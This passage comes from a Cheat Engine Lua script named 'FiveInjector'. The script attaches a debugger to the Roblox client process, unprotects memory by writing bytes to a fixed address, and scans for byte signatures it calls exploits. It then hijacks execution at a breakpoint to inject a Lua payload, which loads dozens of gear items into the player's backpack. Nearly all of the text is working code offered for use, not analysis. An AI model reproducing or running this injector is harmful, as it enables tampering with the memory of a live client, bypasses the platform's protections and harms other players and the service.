4851 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4852 end
4853 end
4854 local insrt103 = game:GetService("InsertService"):LoadAsset(10760425)--sparkstaff
4855 for _, v in pairs(insrt103:GetChildren()) do
4856 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4857 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4858 end
4859 end
4860 local insrt104 = game:GetService("InsertService"):LoadAsset(73799348)--undoingaxe
4861 for _, v in pairs(insrt104:GetChildren()) do
4862 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4863 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4864 end
4865 end
4866 local insrt105 = game:GetService("InsertService"):LoadAsset(73232786)--dragonstaff
4867 for _, v in pairs(insrt105:GetChildren()) do
4868 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4869 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4870 end
4871 end
4872 local insrt106 = game:GetService("InsertService"):LoadAsset(73232825)--screeshpotion
4873 for _, v in pairs(insrt106:GetChildren()) do
4874 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4875 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4876 end
4877 end
4878 local insrt107 = game:GetService("InsertService"):LoadAsset(73265108)--dualcannon
4879 for _, v in pairs(insrt107:GetChildren()) do
4880 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4881 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4882 end
4883 end
4884 local insrt108 = game:GetService("InsertService"):LoadAsset(74385438)--gravitron
4885 for _, v in pairs(insrt108:GetChildren()) do
4886 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4887 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4888 end
4889 end
4890 local insrt109 = game:GetService("InsertService"):LoadAsset(74385386)--razevenge
4891 for _, v in pairs(insrt109:GetChildren()) do
4892 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4893 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4894 end
4895 end
4896 local insrt110 = game:GetService("InsertService"):LoadAsset(74385418)--glorylauncher
4897 for _, v in pairs(insrt110:GetChildren()) do
4898 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4899 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4900 end
4901 end
4902 local insrt111 = game:GetService("InsertService"):LoadAsset(73888479)--spikesplosion
4903 for _, v in pairs(insrt111:GetChildren()) do
4904 if not(game.Players.LocalPlayer.Backpack:FindFirstChild(v.Name))then
4905 v:Clone().Parent = game.Players.LocalPlayer.Backpack
4906 end
4907 end
4908 wait()
4909 if (game.Players.LocalPlayer.Backpack:FindFirstChild("LoadingGears..."))then
4910 game.Players.LocalPlayer.Backpack:FindFirstChild("LoadingGears..."):remove()
4911 end
4912 end))
4913 end
4914 end))
4915end) ]==]
4916 local memory = allocateSharedMemory("[ROBLOX]-ScriptTrainer", string.len(script) + 5);
4917 local mem = toAddr(memory);
4918 local len = toAddr(string.len(script));
4919 local success_catch = writeString(mem, script);
4920 writeBytes(ESP + tonumber("0x" .. GlobalOffset), tonumber("0x" .. mem:sub(7, 8)), tonumber("0x" .. mem:sub(5, 6)), tonumber("0x" .. mem:sub(3, 4)),tonumber("0x" .. mem:sub(1, 2)));
4921 writeBytes(ESP + tonumber("0x" .. GlobalOffset) + 4, tonumber("0x" .. len:sub(7, 8)), tonumber("0x" .. len:sub(5, 6)), tonumber("0x" .. len:sub(3, 4)),tonumber("0x" .. len:sub(1, 2)));
4922 --print("[FiveInjector]: Script Execution location " .. GetAddress(toAddr(ESP), GlobalOffset) .. " with length " .. tonumber("0x" .. len));
4923 pcall(function() debug_removeBreakpoint(EIP); end);
4924 debug_continueFromBreakpoint(co_run);
4925 messageDialog("studio.ashx found and " .. (success_catch and "Nicholas12323 successful" or "failed to inject."), (success_catch and 2 or 1), 2);
4926 --else
4927 --debug_continueFromBreakpoint(co_run)
4928 --end
4929end
4930
4931function Exec()
4932 local unprotect_mem = {00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 01, 00, 00, 00, 01, 00, 01, 01, 01, 01, 01, 00, 01, 00, 01, 00, 00, 00, 01, 01, 01, 00, 00, 00, 00, 00, 01, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 00, 01, 00, 00, 00, 00, 00, 00, 00, 01, 00, 00, 00, 00, 00, 01, 00, 00, 00}
4933 writeBytes("00F24118", unprotect_mem);
4934 pcall(function() object_destroy(Interface.MainFrame); end);
4935 Exploits, Successes, AddressList, Interface = {}, {}, {}, {};
4936 --AddExploit("level", {0x89, 0x74, 0x24, 0x0C, 0x89, 0x06, 0xE8}, 4)
4937 AddExploit("script", {0x83, 0xEC, 0x14, 0x56, 0x57, 0x8B, 0x7C, 0x24, 0x2C, 0x85, 0xFF}, 3)
4938 for i, v in pairs(Exploits) do
4939 local exploit = GetExploit(i);
4940 if (exploit == nil) then
4941 print("[FiveInjector]: Failed \"" .. v[1] .. "\"");
4942 else
4943 pcall(function() debug_removeBreakpoint(exploit); end);
4944 debug_setBreakpoint(exploit);
4945 AddressList[v[1]] = exploit;
4946 table.insert(Successes, v[1]);
4947 print("[FiveInjector]: Success \"" .. v[1] .. "\" [" .. exploit .. "]");
4948 end
4949 end
4950 print("[FiveInjector]: " .. tostring(#Successes) .. "/" .. tostring(#Exploits) .. " exploits found.")
4951
4952 if #Successes == #Exploits then
4953 print("[FiveInjector]: Attached successfully. Listening for studio.ashx now...");
4954 else
4955 messageDialog("[FiveInjector]: Initializing failed. FiveInjector fails to launch", 1, 2);
4956 end
4957end
4958
4959function myCheck(_)
4960 local id = getProcessIDFromProcessName("RobloxPlayer.exe");
4961 if id ~= nil then
4962 for i, v in pairs(NoRun) do
4963 if v == id then
4964 return
4965 end
4966 end
4967 table.insert(NoRun, id);
4968 openProcess(id);
4969 debugProcess(2);
4970 Exec();
4971 else
4972 local id2 = getProcessIDFromProcessName("RobloxPlayerBeta.exe");
4973 if id2 ~= nil then
4974 for i, v in pairs(NoRun) do
4975 if v == id2 then
4976 return
4977 end
4978 end
4979 table.insert(NoRun, id2);
4980 openProcess(id2);
4981 debugProcess(2);
4982 Exec();
4983 end
4984 end
4985end
4986
4987t = createTimer(nil)
4988timer_setInterval(t, 500)
4989timer_onTimer(t, myCheck)
4990timer_setEnabled(t, true)